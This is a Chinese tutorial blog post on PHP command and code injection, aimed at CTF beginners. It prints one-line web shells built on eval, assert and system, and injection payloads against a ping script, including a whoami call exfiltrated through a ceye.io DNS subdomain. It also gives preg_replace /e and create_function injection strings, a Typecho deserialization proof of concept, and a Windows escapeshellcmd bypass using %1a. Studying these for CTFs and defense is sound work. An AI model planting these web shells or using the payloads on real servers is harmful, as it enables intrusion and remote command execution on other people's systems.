您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關怎么進行 PHP代碼命令注入,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
今天在合天實驗室看到這樣一個實驗:
題目對萌新還是比較友好的,屬于啟蒙項,尚未接觸過該類問題的同學可以嘗試一下,領略一下命令注入的魅力。
而我個人做罷之余,心想不如總結一下最近遇到的命令或是代碼注入的情況,于是便有了這篇文章~
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引號,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
二、 背景
這里不再多提,相信大家已經對這幾個函數輕車熟路了,常見小馬均在使用
<?php
@eval($_GET["sky"]);
?>
<?php
@assert($_GET["sky"]);
?>
<?php
@system($_GET["sky"]);
?>
這里直接就用合天實驗室的題目說明
看到題目給出的源碼:
<?php
system("ping -n 2 ".$_GET['ip']);
?>
正常訪問
http://localhost/web/hetian.php?ip=127.0.0.1
(23333編碼問題請忽略)
是一個常規的ping命令
我們進行命令注入
http://localhost/web/hetian.php?ip=|dir
得到回顯
我們再換個套路,把這段代碼放在服務器上(linux)
嘗試:
http://vps_ip/testsky/index.php?ip=`whoami`.2bub8m.ceye.io
可以收到回顯
并且這類題目在CTF中可以說屢見不鮮,值得好好掌握
三、 preg_replace()
查閱php手冊
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
函數作用:搜索subject中匹配pattern的部分, 以replacement進行替換。
其中,在錯誤/異常中提及:
PHP 5.5.0 起, 傳入 "\e" 修飾符的時候,會產生一個 E_DEPRECATED 錯誤; PHP 7.0.0 起,會產生 E_WARNING 錯誤,同時 "\e" 也無法起效。
所以正是這個修飾符,讓我們可以進行命令注入
但需要知道的是:
7.0.0 不再支持 /e修飾符。 請用 preg_replace_callback() 代替。
5.5.0 /e 修飾符已經被棄用了。使用 preg_replace_callback() 代替。參見文檔中 PREG_REPLACE_EVAL 關于安全風險的更多信息。
在實踐的時候需要看清php版本,在7.0的版本以后就不再適用!
error_reporting(0);
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject))
{
preg_replace($pattern, $replacement, $subject);
}
else
{
die();
}
調用方法:
preg_replace("/test/e",phpinfo(),"jutst test");
此時phpinfo()將會被執行
因為使用/e修飾符,preg_replace會將 replacement 參數當作 PHP代碼執行
所以最后的payload:
?pat=/test/e&rep=phpinfo()&sub=jutst test
?pat=/test/e&rep=var_dump(`dir`)&sub=jutst test
可以看到命令成功注入!
四、 create_function()
查閱php手冊
string create_function ( string $args , string $code )
函數作用:從創建一個匿名函數傳遞的參數,并返回一個唯一的名稱
看一個官方樣例
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
我們不難得到create_function()的原型
function test($a,$b)
{
return "ln($a) + ln($b) = " . log($a * $b);
}
那么我們開始實戰
此問題曾出現在WordPress <= 4.6.1 使用語言文件任意代碼執行
詳細分析請戳:http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/
下面給出關鍵代碼
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
可以清楚看見,關鍵利用點就是在create_function()
給出《web安全深度剖析》中的一個實例:
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
首先構造出函數原型
function test($a,$b)
{
return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
}
根據這個,我們可以構造payload:
?sort_by="]);}phpinfo();/*
傳入后得到:
return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
所以此時的函數原型:
function test($a,$b)
{
return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
}
很顯然,經過`/*`注釋符
我們剩下的只有
function test($a,$b)
{
return 1 * strnatcasecmp($a[""]);
}
phpinfo();
成功的進行了代碼注入!
五、 call_user_func()/call_user_func_array()/array_map()
同樣還是查閱官方手冊
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
函數作用:第一個參數 callback 是被調用的回調函數,其余參數是回調函數的參數。
mixed call_user_func_array ( callable $callback , array $param_arr )
函數作用:把第一個參數作為回調函數(callback)調用,把參數數組作(param_arr)為回調函數的的參數傳入。
array array_map ( callable $callback , array $array1 [, array $... ] )
函數作用:返回數組,是為 array1 每個元素應用 callback函數之后的數組。 callback 函數形參的數量和傳給 array_map() 數組數量,兩者必須一樣。
由于三者類似,這里介紹call_user_func()
我們舉個例子
<?php
$filter= 'assert';
$value = 'phpinfo()';
call_user_func($filter, $value);
?>
可以看到成功執行了命令
前段時間非常火的Typecho反序列化漏洞中最后就用到了這個函數進行代碼注入
有興趣的可以在freebuf這篇文章查看詳情:
http://www.freebuf.com/column/161798.html
這里截選出最終的利用點
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
而當時的原因正是我們可控$filter和$value兩個參數
附上payload
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
六、 反引號
反引用的本質就是在操作系統執行該命令。此時可以造成命令注入等各種危害
root@ubuntu-512mb-sfo2-01:/var/www/html/test# echo ls
ls
root@ubuntu-512mb-sfo2-01:/var/www/html/test# `echo ls`
test tets
root@ubuntu-512mb-sfo2-01:/var/www/html/test# ls
test tets
可以明顯的看出對比,再看php
php > $test = `ls`;
php > echo $test;
test
tets
所以反引號在命令注入實戰中還是有不小的殺傷力
七、 ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
函數描述:此函數將打開輸出緩沖。當輸出緩沖激活后,腳本將不會輸出內容(除http標頭外),相反需要輸出的內容被存儲在內部緩沖區中。
內部緩沖區的內容可以用 ob_get_contents() 函數復制到一個字符串變量中。 想要輸出存儲在內部緩沖區中的內容,可以使用 ob_end_flush() 函數。另外, 使用 ob_end_clean() 函數會靜默丟棄掉緩沖區的內容。
php > $sky = 'system';
php > ob_start($sky);
php > echo 'ls -al';
php > ob_end_flush();
-rw-r--r-- 1 root root 0 Mar 12 06:46 tets
可以看到成功執行命令
這里注意,如果我這樣使用
php > echo 'ls -al';
ls -al
是沒有任何作用的
因為這里的$sky被作為輸出的回調函數
而我們輸入的`ls -al`在緩沖區
經過ob_end_flush()輸出緩沖區后,可以得到
system('ls -al')
這樣的操作,所以成功執行了命令
八、 exec()/shell_exec()/escapeshellcmd()/passthru()
string exec ( string $command [, array &$output [, int &$return_var ]] )
string shell_exec ( string $cmd )
string escapeshellcmd ( string $command )
void passthru ( string $command [, int &$return_var ] )
這幾個就不細說的,讀名字都知道是執行shell命令,如果函數執行未過濾完善的可控參數,后果非常危險
其中passthru()同 exec() 函數類似,可以將結果直接傳送到瀏覽器。
然后值得一提的是escapeshellcmd()
escapeshellcmd() 對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec() 或 system() 函數,或者 執行操作符 之前進行轉義。
這里雖然存在安全轉義,但是我們注意到官方手冊的一句話
Following characters are preceded by a backslash: &#;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % and ! are replaced by a space instead.
就過濾參數而言,這里有一個win下繞過的小tip,也是之前l3m0n師傅提及過的:
測試腳本:
<?php
$test = 'dir '.$_GET['sky'];
$escaped_test = escapeshellcmd($test);
var_dump($escaped_test);
file_put_contents('out.bat',$escaped_test);
system('out.bat');
?>
我們直接訪問http://localhost/web/123.php?sky=../ | whoami
得到的是:
H:\wamp64\www\web\123.php:4:string 'dir ../ ^| whoami' (length=17)
H:\wamp64\www\web>dir ../ | whoami
但是執行.bat文件的時候,利用%1a,可以繞過過濾執行命令。
可以用
../ %1a whoami
但是需要注意的是版本問題
5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.43, 5.5.27, 5.6.11 感嘆號會被空格所替換。
5.6版本后可能不再適用,需要注意
九、 popen()/proc_open()/pcntl_exec()
resource popen ( string $command , string $mode )
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
void pcntl_exec ( string $path [, array $args [, array $envs ]] )
其中popen()和proc_open()是不會直接返回執行結果的,而是返回一個文件指針,但是命令是已經執行了
由于沒有遇到類似的題目就不多言了:)
命令/代碼注入作為一種危害性極大的漏洞,應該引起我們的重視。這里也只是總結了一些常見的命令/代碼注入問題,至于潛藏在代碼深處的漏洞,還要靠大家自己多多挖掘啦。
上述就是小編為大家分享的怎么進行 PHP代碼命令注入了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。